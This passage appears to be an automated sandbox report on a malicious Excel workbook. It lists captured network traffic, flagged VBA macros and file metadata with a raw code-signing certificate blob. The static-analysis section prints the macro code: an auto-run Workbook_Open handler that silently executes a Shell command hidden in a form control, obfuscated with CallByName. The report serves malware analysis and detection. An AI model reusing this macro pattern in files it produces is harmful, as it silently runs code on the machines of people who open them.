  1646. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1647. "user-agent": "Microsoft BITS/7.5",
  1648. "method": "GET",
  1649. "host": "r5---sn-tt1eln7l.gvt1.com",
  1650. "version": "1.1",
  1651. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1652. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=33352351-33549055\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1653. "port": 80
  1654. }
  1655. ]
  1656.  
  1657. [*] Network Communication - SMTP: []
  1658.  
  1659. [*] Network Communication - Hosts: []
  1660.  
  1661. [*] Network Communication - IRC: []
  1662.  
  1663. [*] Static Analysis: {
  1664. "office": {
  1665. "Macro": {
  1666. "Code": {
  1667. "Macro2": [
  1668. [
  1669. "App1.frm",
  1670. "Private Sub UserForm_Activate()\nOn Error Resume Next\nDim time\ntime = Format(Now + TimeSerial(0, 0, 24), \"hh:mm\")\n\n\nShell Replace(App2.T3.Text, \"77:77\", time)\nUnload Me\nEnd Sub\n\n"
  1671. ]
  1672. ],
  1673. "Macro1": [
  1674. [
  1675. "\\xdd\\xf2\\xe0\\xca\\xed\\xe8\\xe3\\xe0.cls",
  1676. "Sub WorkBook_open()\nCallByName App1, \"Show\", VbMethod\n\nEnd Sub"
  1677. ]
  1678. ]
  1679. },
  1680. "Analysis": {
  1681. "Suspicious": [
  1682. [
  1683. "CallByName",
  1684. "May attempt to obfuscate malicious function calls"
  1685. ],
  1686. [
  1687. "Shell",
  1688. "May run an executable file or a system command"
  1689. ]
  1690. ],
  1691. "AutoExec": [
  1692. [
  1693. "Workbook_Open",
  1694. "Runs when the Excel Workbook is opened"
  1695. ]
  1696. ]
  1697. }
  1698. },
  1699. "Metadata": {
  1700. "SummaryInformation": {
  1701. "num_words": "None",
  1702. "num_pages": "None",
  1703. "last_saved_by": "alex",
  1704. "creating_application": "Microsoft Excel",
  1705. "author": "Microsoft Office",
  1706. "revision_number": "None",
  1707. "codepage": "1251",
  1708. "title": "None",
  1709. "comments": "None",
  1710. "num_chars": "None",
  1711. "total_edit_time": "None",
  1712. "create_time": "None",
  1713. "template": "None",
  1714. "last_printed": "None",
  1715. "keywords": "None",
  1716. "security": "0",
  1717. "last_saved_time": "None",
  1718. "thumbnail": "None",
  1719. "subject": "None"
  1720. },
  1721. "DocumentSummaryInformation": {
  1722. "codepage_doc": "1251",
  1723. "chars_with_spaces": "None",
  1724. "shared_doc": "False",
  1725. "paragraphs": "None",
  1726. "hidden_slides": "None",
  1727. "mm_clips": "None",
  1728. "category": "None",
  1729. "presentation_target": "None",
  1730. "hlinks_changed": "False",
  1731. "scale_crop": "False",
  1732. "version": "1048576",
  1733. "hlinks": "None",
  1734. "link_base": "None",
  1735. "company": "Microsoft Corporation",
  1736. "unused": "None",
  1737. "dig_sig": "8\\x17\\x00\\x00\\x08\\x00\\x00\\x00\\xf6\\x0f\\x00\\x00,\\x00\\x00\\x00\\x17\\x07\\x00\\x00\"\\x10\\x00\\x00\\x00\\x00\\x00\\x009\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x17\\x00\\x000\\x82\\x0f\\xf2\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x07\\x02\\xa0\\x82\\x0f\\xe30\\x82\\x0f\\xdf\\x02\\x01\\x011\\x0e0\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x000R\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x04\\xa0D0B0\\x1e\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x1d\\x04\\x10(\\xaf&\\x08\\xc3F\\x82\\xb1\\xc4:\\x03!zaO\\x000 0\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x00\\x04\\x10\\xb5\\xdb\\x88\\xfa[7\\xa7\\xe2$\\xad\\xe8*\\xac3\\xbb\\xc9\\xa0\\x82\rt0\\x82\\x04 0\\x82\\x03\\x08\\xa0\\x03\\x02\\x01\\x02\\x02\\x104N\\xd5W \\xd5\\xed\\xecI\\xf4/\\xce7\\xdb+m0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x05\\x05\\x000\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x1e\\x17\r061117000000Z\\x17\r360716235959Z0\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xac\\xa0\\xf0\\xfb\\x80Y\\xd4\\x9c\\xc7\\xa4\\xcf\\x9d\\xa1Ys\t\\x10E\\x0c\r,nh\\xf1l[HhIY7\\xfc\\x0b3\\x19\\xc2w\\x7f\\xcc\\x10-\\x954\\x1c\\xe6\\xebM\t\\xa7\\x1c\\xd2\\xb8\\xc9\\x976\\x02\\xb7\\x89\\xd4$_\\x06\\xc0\\xccD\\x94\\x94\\x8d\\x02bo\\xebZ\\xdd\\x11\\x8d(\\x9a\\\\x84\\x90\\x10z\r\\xbdtf/j8\\xa0\\xe2\\xd5TD\\xeb\\x1d\\x07\\x9f\\x07\\xbao\\xee\\xe9\\xfdN\\x0b)\\xf5>\\x84\\xa0\\x01\\xf1\\x9c\\xab\\xf8\\x1c~\\x89\\xa4\\xe8\\xa1\\xd8qe\r\\xa3Q{\\xee\\xbc\\xd2\"`\r\\xb9[\\x9d\\xdf\\xba\\xfcQ[\\x0b\\xaf\\x98\\xb2\\xe9.\\xe9\\x04\\xe8b\\x87\\xde+\\xc8\\xd7N\\xc1Ld\\x1e\\xdd\\xcf\\x87X\\xbaJO\\xcah\\x07\\x1d\\x1c\\x9dJ\\xc6\\xd5/\\x91\\xcc|qr\\x1c\\xc5\\xc0g\\xeb2\\xfd\\xc9\\x92\\\\x94\\xda\\x85\\xc0\\x9b\\xbfS}+\t\\xf4\\x8c\\x9d\\x91\\x1f\\x97jR\\xcb\\xde\t6\\xa4w\\xd8{\\x87PD\\xd5>n)i\\xfb9I&\\x1e\t\\xa5\\x80{@-\\xeb\\xe8'\\x85\\xc9\\xfea\\xfd~\\xe6|\\x97\\x1d\\xd5\\x9d\\x02\\x03\\x01\\x00\\x01\\xa3B0@0\\x0f\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x050\\x03\\x01\\x01\\xff0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x060\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14{[E\\xcf\\xaf\\xce\\xcbz\\xfd1\\x92\\x1aj\\xb6\\xf3F\\xebWHP0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x05\\x05\\x00\\x03\\x82\\x01\\x01\\x00y\\x11\\xc0K\\xb3\\x91\\xb6\\xfc\\xf0\\xe9g\\xd4\rnE\\xbeU\\xe8\\x93\\xd2\\xce\\x03?\\xed\\xda%\\xb0\\x1dW\\xcb\\x1e:v\\xa0L\\xecPv\\xe8dr\\x0c\\xa4\\xa9\\xf1\\xb8\\x8b\\xd6\\xd6\\x87\\x84\\xbb2\\xe5A\\x11\\xc0w\\xd9\\xb3`\\x9d\\xeb\\x1b\\xd5\\xd1nDD\\xa9\\xa6\\x01\\xecUb\\x1dw\\xb8\\\\x8eHI|\\x9c;W\\x11\\xac\\xads7\\x8e/x\\\\x90hG\\xd9``\\xe6\\xfc\\x07=\" \\x17\\xc4\\xf7\\x16\\xe9\\xc4\\xd8r\\xf9\\xc8s|\\xdf\\x16/\\x15\\xa9>\\xfdj'\\xb6\\xa1\\xebZ\\xba\\x98\\x1f\\xd5\\xe3Md\n\\x9d\\x13\\xc8a\\xba\\xf59\\x1c\\x87\\xba\\xb8\\xbd{\"\\x7f\\xf6\\xfe\\xac@y\\xe5\\xac\\x10o=\\x8f\\x1byv\\x8b\\xc47\\xb3!\\x18\\x84\\xe56\\x00\\xebc \\x99\\xb9\\xe9\\xfe3\\x04\\xbbA\\xc8\\xc1\\x02\\xf9Dc \\x9e\\x81\\xceB\\xd3\\xd6?,v\\xd3c\\x9cY\\xdd\\x8f\\xa6\\xe1\\x0e\\xa0.A\\xf7.\\x95G\\xcf\\xbc\\xfd3\\xf3\\xf6\\x0ba~~\\x91+\\x81G\\xc2'0\\xee\\xa7\\x10]7\\x8f\\9+\\xe4\\x04\\xf0{\\x8dV\\x8ch0\\x82\\x04\\x990\\x82\\x03\\x81\\xa0\\x03\\x02\\x01\\x02\\x02\\x10q\\xa0\\xb76\\x95\\xdd\\xb1\\xaf\\xc2;+\\x9a\\x18\\xeeT\\xcb0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000\\x81\\xa91\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1(0&\\x06\\x03U\\x04\\x0b\\x13\\x1fCertification Services Division1806\\x06\\x03U\\x04\\x0b\\x13/(c) 2006 thawte, Inc. - For authorized use only1\\x1f0\\x1d\\x06\\x03U\\x04\\x03\\x13\\x16thawte Primary Root CA0\\x1e\\x17\r131210000000Z\\x17\r231209235959Z0L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\x9bU\\x02L\\x17\\x05\\xe9\\xd0f\\xc3\\xfc(\\xad\\xd3\\xc0\\xfe\\xef\\xe0\\xe9~\\xd4\\x1e\\xf6\\xaa\\x1b\\x91F\\xfd\\xf5\\x16\\xed\\x98\\x07S\\xfa\\xba\\x87\\x1b}\\x9e\\x1f\\x01'\\xab\\xb9\\xd2g\\xca\\xb7\\x10%S\\xf4\\xe3\\xbe\\x9b\\x90\\xb8\\xed#\\B\\xefd%X\\xe5\\x88\"\\x1a\\xbe\\xf5\\xc7\\xae\\xf5\\xbe\\x8a\\xb1\\x11\\x11\\x93\\x1a\"\\xa9ti\\xc1t\\xb6h\\x87\\xa7\\x830\\xf9d\\xf1\\xb1\\xe38>\\xf4\\xd6\\xc1\\xfc\\x12\\xfesW\\x175W\\x8a\\xddP\\x8d\\x03\\xf8f\\xcd\\xcav\\x83\\x13\\xc8\\xd7\\x0eq\\x1d\\xe4c\\xc9\\xba\\x17\\xf8\\xd1\\xb9\\xe4\\x88\\xd2,(\\xc8! \rA\\xb7\\x0b\\xe2/\\xc2\\x80\\xe6\\x88{Sl\\xc3Dc\\x81\\x7fhG\\x8c+*\\xcf[\\xf4\\x8cIa\\xbai\\x85\\xfdk\\x00x\\x05&i\\x130\\x808N\\xf1ZU\\xc9\\xc5P\\xd6\\xaa8\\x89GC\\\\xfeMs\\xa5I\\xc5\\x93i\\xfew\\x96\\x9a\\xaf\\xf3\\x8c\\x0eW\\xba3\\xd9\\x0e\\xc6B\\xd3\\x03w\\xc4\\xbb9\\xad\\x91\\xf9\\xf3\\xf7\\x96\\:d\\xa6\\xed'W\\xc1\\xe8@\\xf3S\\xf2\\xbe)4\\xfe_\\xf9\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01\\x170\\x82\\x01\\x130/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04#0!0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://t2.symcb.com0\\x12\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x080\\x06\\x01\\x01\\xff\\x02\\x01\\x0002\\x06\\x03U\\x1d\\x1f\\x04+0)0'\\xa0%\\xa0#\\x86!http://t1.symcb.com/ThawtePCA.crl0\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x02\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x060)\\x06\\x03U\\x1d\\x11\\x04\"0 \\xa4\\x1e0\\x1c1\\x1a0\\x18\\x06\\x03U\\x04\\x03\\x13\\x11SymantecPKI-1-5680\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14{[E\\xcf\\xaf\\xce\\xcbz\\xfd1\\x92\\x1aj\\xb6\\xf3F\\xebWHP0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00$;\\xf5\\xd7\\xa06\\x13\\xc7C\\xfe\\xf0\t\\x87h\\xd1\\x981n\\x12\\xe4?\\x1e\\x1f\\x96{kL\\x1e\\x87\\x9e\\x8b\\xc5l\\xa3\\xb1\\x0c{P\\x92\\xd5\\x81\\x9c\\xb1\\x8f,)\\xb7\\xee\\xf9\\x91\\x05\\xb9\\x8eA\\xf1,\\xf6\\xd0Y-\\x98\\xe0\\xb9\\xea\\x80\\x01G@\\x95\\xb8=\\x9d\\x03\\xbdy\\xbb5\\xb6\\xad\\x9cL'\\xf6gE\\x10\\xc9\\xc5\\xbc\\x87NU{\\xd2\\x87\\xbb\\xdd\\xdc0\\xef\\xc6\\xd4l\\xcc\\x995m\\x1c\\xe0`\\xd3\\xcdh\\x8f)YK\\x89\\x96\\x08F\\xc9\\x8e\\xfcuO\\xc5\\xdc\t\\xccN'\\x8bD\\xcd\\x07\\xbc\\xac\\x04\\xe0\\xb53\\xa5\\x87\\x9f\\xf4\\xdds\\x0c\\x91\\xea\\x12\\x81o\\xe3u\\xf0\\x1e\\xb5\\x93lD\\x17\\xd5>\\x97\\xc9\\xbd\\x07,Vw\\x1f\\x85\\xddF\\xe8\\xbf\\xde,\\x81\\x94\\xa3\\xf7\\xe5\\xb7\\xa7\\xc17\\x9fu\\xcaUwM^6)\\xca\\x85\\xd8EArWu\\xc0y[\\xfa4\\x10\\x06md B\\xb7:\\xc8\\x1f\\x1dFd\\x02_\\xc6G\\xbe\\xf0\\xc4:(T\\xda\\xf6\\x1eO\\x9a\\xa2\\x19C\\xa4oI\\xf8\\xfc^B (\\x84\\x8bG n0\\x82\\x04\\xaf0\\x82\\x03\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x1e\\x17\r190613000000Z\\x17\r200612235959Z0m1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x0e0\\x0c\\x06\\x03U\\x04\\x08\\x0c\\x05Essex1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x0c\\x07HOCKLEY1\\x1d0\\x1b\\x06\\x03U\\x04\n\\x0c\\x14FIT AND FLEX LIMITED1\\x1d0\\x1b\\x06\\x03U\\x04\\x03\\x0c\\x14FIT AND FLEX LIMITED0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xf94\\x13I\\xca\\xd5a\\x89\\x04}E\\x98\\xf5\\xa8\\x9dc-\\xa6\\xf4\\x1eW\\xb9\t\\x86K8+\\xedL\\xd2\\x94\\xe9b\\x9e\\xed\\x02\"\\x8a3.\\xd4\\x0bz\\xadE>\\xf3\\xf1\\xec\\x91\t2x0\\xb2-I\\x96CE\\xa4\\xc7.N\\xc9\\xe7\\xbf\\x97\\x1f\\xff-\\xe5\\x82X\\x90\\xafOq\\xf8I0\\xd1P\\xa2\\x94\\xc9\\xef?\\xab\\xd4\\xd5\\x85\\xb4?y\\x94\\x05\\xb9\\xd9\\x96\\x00\\xd3\n\\x91\\xbb\\x02\\xaa\\xe0\\xe9\\xbbC\\x0c\\x1c\\xa9\\x0b:\\xc6\\xe7\\x00\\x084}K\\xfa\\x0fn\\xbd\\xfd\\x08\\\\xea\\x18r\\xcc\\x8b\\\\xff\\xd8\\xbd\\xb5\\xfd7`\\x1e\\xc4\\xe9\\x93\\xdbB\\x02\\xd1f\\xfb\\x8e\\xb8\\xca\\xbd\t\\x9aK\\xc8\\\\x80\\xc3o,9\\xb2\\x16\\x93\\x9eS\\xa5\\xe8\\x90\\x8bI^\\x82x\\x93\\xbbE}\\xde\\xd2\\xe2\\xf1{\\xeb2\\x1av\\x87X\\x86\\x02\\xef\\xb0Ft\\xc4\\x9dD\\x12\\xa9\\xe2<f\\xbcU\\xde\\xe3vl\\x9ab7\\xc2\\xedL|)\r\\xa4!\\xa0U\\xdb\\xb7@\\xe8\\x18\\xe53K>\\xfbl\\xcc\\xad)F\\xfbo~\\xc4\\xdfu\\x8c\\x1d\\xa0\\x96\\xd2\\xfd1\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01j0\\x82\\x01f0\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.0+\\x06\\x03U\\x1d\\x1f\\x04$0\"0 \\xa0\\x1e\\xa0\\x1c\\x86\\x1ahttp://tl.symcb.com/tl.crl0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x07\\x800\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030n\\x06\\x03U\\x1d \\x04g0e0c\\x06\\x06g\\x81\\x0c\\x01\\x04\\x010Y0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1ahttps://www.thawte.com/cps0/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x020#\\x0c!https://www.thawte.com/repository0W\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04K0I0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://tl.symcd.com0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86\\x1ahttp://tl.symcb.com/tl.crt0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00/&\\x04\\xa5\\xb1\\xd5\\x03\\x9e+\\x16\\xdcN+\\xd6H\\xe7\\xcf\\x86\\xef\\xeb\\xbd4\\x1c\\xc6&\\xd9\\xe0\\x90\\xf3\\xd0\\x90\\x80\\xcd\\xc1\\x9b\\xe0\\xc2V\\xc0o\\xd1\\x01WY@\\xb6\\xee\\x0c\\xbf\\xa1\\xd4\"\\x1cY.D\\x84\\x93\\xe3\\x97\\xd9,N+\\xd40\\x99\\x11\\\\xe9UO'\\xbf{\\xeeR7\\xcc\tL\\x11O\\xa3\\x7f\\x80\\x18t\\x97\\xa03\\xa3`\\xe4w\\x9eQ!\\xfen\\xca\\xf2\\xc7\\x0bo@X\\xd4\\xf0\\x82\\x16w>\\x1a\\xb4\\xa6?3\\xfa\\xe7\\xa6\"6\\xbf\\xc1\\xba\\xbb>\\xf9\\xfa\\xc8\\xff\\xfc\\x92\\x1b\\xe5\\x98\\x95\\x1fTw\\xfd\nY\"\\xee\\xdd\\xbb\\xbfA,\\xe35bH\\xb8/0\\xb9U\\xbd\\xc5Vq5\\xf1\\x98\\x17'\\xc3rr\\xab\\xff\\x94\\xe3\\x1b\\xb7\\xf6\\xdeN\\x813\t^ \\xff_V\\xd9Dq~\\x95\\xc1\\x0eh\\xbc\\xde8\\x1d\\x96\\xc8\\xf3U\\xd8\\x95quq\\x14V'u\\xde\\xf4\\xe9+\\x85!\\xaaI\\xfe\\x10\\x1ev\\x88\\xa6\\x8b\\xa0[\\xd6\\x86\\x08\\xba{\\xbc_\\xc2\\x92&\\x9dj4\\x81/\\x9c\\xf7q\\x0fcHE\\xb43X1\\x82\\x01\\xfc0\\x82\\x01\\xf8\\x02\\x01\\x010`0L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\\x0c\\x06\\x08*\\x86H\\x86\\xf7\r\\x02\\x05\\x05\\x00\\xa0p0\\x14\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x0c1\\x060\\x04\\xa0\\x02\\x80\\x000\\x19\\x06\t*\\x86H\\x86\\xf7\r\\x01\t\\x031\\x0c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x040\\x1c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x0b1\\x0e0\\x0c\\x06\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x01\\x150\\x1f\\x06\t*\\x86H\\x86\\xf7\r\\x01\t\\x041\\x12\\x04\\x10\\x0c\\x1aS\\x7f\\x11\\xde?y\\x8d\\xde2\\x05K7\\xeb\\x9c0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x04\\x82\\x01\\x00ge\\x16\\xe9,\\x83\\x88q\\x0b\\x93\\x863o\\x0f\\x9f\"\\xaf\\xb5\\xe9\\x89qQ\\xdc{\\x17J\\xf0.v\\xe7\\x19V\\x1f\\xb8\\xb5*\\xd8\\xa85C\\xa5w\\xd5\\x0733\\xf0p\\x1d\\xd9Fu\\xa9bt\\xc8\\x87\\xed\\xd8\\x11Q\\xde\\x96\\xf5H\\x04/zV_\\xf0\\xdc\\xd72\\x9b\\xbc0\\x1e\\x1c=\\x9e\\x88y\\xeeY\\xdd\\x18d\\xfbchl\\x0fG\\x0b\\xa2\\xd2\\xd3\\xc4S\\xb5F\\x07\\xa7\\xec\\xd7\\x8efz\\xf6\\xd5\\xf9\\x83\\xff\\x91\\x8d\\x8d\\xd8A\\xbc\\xb6\\xcb\\xfa\\xa1\\x84u\\xbe\\xf4@\\xa5 h\\x99K!\\x89\\x80\\xa5J\\xfb\\xcc\\xb6\\xe7\\x0e\\x93\\xb97tv\\xf7\\xf2\\x83gN\\xf3\\xda\\x8f\\xc1iY\\x1a\\x7f\r\\xb4\\xbb?\\x1b5\\xcb\\xe4\\xa0\\xd5\\x91cH\\x03\\xb6\\xcc\\xd7\\x99P\\x14(#8\\x0fc\\xf4f\\x92]+\\xea\\xd1\\xeca\\xe5\\xe9\\x9d<m+O\\xe4\\xef\\x9e\\xc87\\xda\\xd8L.\\xb3Z\\x84\\x16\\x9d\\xafgB\\xa0\\x8cF\\x11\\xc5\\xff,8\\xdb\\xefv\\xbb\\x0e\\xc5\\x04\\x9a\\xd1%0i\\x7f\\x8f\\x89\\xe7\\xbe\\xdc3\\x02\\xc8W\\xb5\\xc7\\xf6C7\\xa4\\x00\\x00\\x00\\x00CERTK\\x00\\x00\\x00\\x01\\x00\\x00\\x00D\\x00\\x00\\x008\\x00E\\x00B\\x003\\x005\\x003\\x007\\x006\\x007\\x004\\x004\\x00F\\x003\\x009\\x002\\x003\\x009\\x006\\x003\\x000\\x007\\x004\\x006\\x000\\x00D\\x005\\x004\\x006\\x002\\x002\\x002\\x00D\\x00_\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xaf\\xa1\\xd2\\x96\\xec\\x07>\\xe6\\xbfK\\xf5r\\x07z\\xdf\\xbd\\x0f\\x00\\x00\\x00\\x01\\x00\\x00\\x00 \\x00\\x00\\x00F\\xd8\\xd2\\x8ff1\\x1ctq\\xb8U\\xb0q\\x1e\\xf9\\xe4\\xb4\\xa6B\\xc9x\\xfd\\x91\\x06\\xa6\\x0b\\xc3\\x04\\xaf\\xc5B\r\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xcc\\x00\\x00\\x00\\x1c\\x00\\x00\\x00l\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00I\\x00D\\x00 \\x00t\\x00h\\x00a\\x00w\\x00t\\x00e\\x00,\\x00 \\x00I\\x00n\\x00c\\x00.\\x00 \\x00>\\x04B\\x04 \\x00F\\x00I\\x00T\\x00 \\x00A\\x00N\\x00D\\x00 \\x00F\\x00L\\x00E\\x00X\\x00 \\x00L\\x00I\\x00M\\x00I\\x00T\\x00E\\x00D\\x00\\x00\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00 \\x00E\\x00n\\x00h\\x00a\\x00n\\x00c\\x00e\\x00d\\x00 \\x00C\\x00r\\x00y\\x00p\\x00t\\x00o\\x00g\\x00r\\x00a\\x00p\\x00h\\x00i\\x00c\\x00 \\x00P\\x00r\\x00o\\x00v\\x00i\\x00d\\x00e\\x00r\\x00 \\x00v\\x001\\x00.\\x000\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00P\\x00\\x00\\x00I\\x00D\\x00 \\x00t\\x00h\\x00a\\x00w\\x00t\\x00e\\x00,\\x00 \\x00I\\x00n\\x00c\\x00.\\x00 \\x00>\\x04B\\x04 \\x00F\\x00I\\x00T\\x00 \\x00A\\x00N\\x00D\\x00 \\x00F\\x00L\\x00E\\x00X\\x00 \\x00L\\x00I\\x00M\\x00I\\x00T\\x00E\\x00D\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\xda\\xb0\\xc4\\xe8\\xe9(\\xfbc\\xed\\x9b\\x89\\xdc\\xd3Yr\\x06\\x03\\xfeF\\x14\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00g\\xd9\\xa4\\xfb\\x8d\\x8ai\\xe2p9\\x9f0\\xae\\xaa\\xb8y\\x18\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xce\\xd1\\xc3\\x1b\\xb1\\xb5\\xc6\\x05\\x7f\\x0b\\x94]i\\x07\\xaf_ 